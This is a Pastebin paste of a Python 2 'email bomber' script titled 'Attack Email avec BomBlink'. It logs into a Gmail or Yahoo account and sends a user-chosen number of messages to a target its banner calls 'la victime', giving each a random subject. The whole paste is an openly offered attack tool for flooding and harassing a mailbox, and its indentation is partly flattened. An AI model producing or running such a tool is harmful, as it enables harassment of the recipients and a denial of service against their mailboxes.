Advertisement
hackerfree

Attack Email avec BomBlink

Nov 3rd, 2013
1,424
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 2.12 KB | None | 0 0
  1.     #!/usr/bin/python
  2.     # -*- coding: latin-1 -*-
  3.  
  4.     print "#-----------------------------------------------------------#"
  5.     print "- ____ ___ __ __ ____ _ ___ _ _ _ __ -"
  6.     print "- | __ ) / _ \| \/ | __ )| | |_ _| \ | | |/ / -"
  7.     print "- | _ \| | | | |\/| | _ \| | | || \| | ' / -"
  8.     print "- | |_) | |_| | | | | |_) | |___ | || |\ | . \ -"
  9.     print "- |____/ \___/|_| |_|____/|_____|___|_| \_|_|\_\ -"
  10.     print "- ************************ -"
  11.     print "- bY Blink ::HACKERFREE.RU:: -"
  12.     print "- 2013-2014 -"
  13.     print "#-----------------------------------------------------------#"
  14.     print "- Exemple: -"
  15.     print "- Server Mail: Gmail ou Yahoo -"
  16.     print "- Id et Password -"
  17.     print "- email de la victime -"
  18.     print "- Text -"
  19.     print "- Mombres de Message envoyer -"
  20.     print "#-----------------------------------------------------------#"
  21.  
  22.     import os
  23.     import smtplib
  24.     import getpass
  25.     import sys
  26.  
  27.  
  28.     server = raw_input ('Server Mail: ')
  29.     user = raw_input('Username: ')
  30.     passwd = getpass.getpass('Password: ')
  31.  
  32.  
  33.     to = raw_input('\nTo: ')
  34.     #subject = raw_input('Subject: ')
  35.     body = raw_input('Message: ')
  36.     total = input('Number of send: ')
  37.  
  38.     if server == 'gmail':
  39.      smtp_server = 'smtp.gmail.com'
  40.      port = 587
  41.     elif server == 'yahoo':
  42.      smtp_server = 'smtp.mail.yahoo.com'
  43.      port = 25
  44.     else:
  45.      print 'Applies only to gmail and yahoo.'
  46.      sys.exit()
  47.  
  48.     print ''
  49.  
  50.     try:
  51.      server = smtplib.SMTP(smtp_server,port)
  52.      server.ehlo()
  53.      if smtp_server == "smtp.gmail.com":
  54.      server.starttls()
  55.      server.login(user,passwd)
  56.      for i in range(1, total+1):
  57.      subject = os.urandom(9)
  58.      msg = 'From: ' + user + '\nSubject: ' + subject + '\n' + body
  59.      server.sendmail(user,to,msg)
  60.      print "\rTotal emails sent: %i" % i
  61.      sys.stdout.flush()
  62.      server.quit()
  63.      print '\n Done !!!'
  64.     except KeyboardInterrupt:
  65.      print '[-] Canceled'
  66.      sys.exit()
  67.     except smtplib.SMTPAuthenticationError:
  68.      print '\n[!] The username or password you entered is incorrect.'
  69.      sys.exit()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement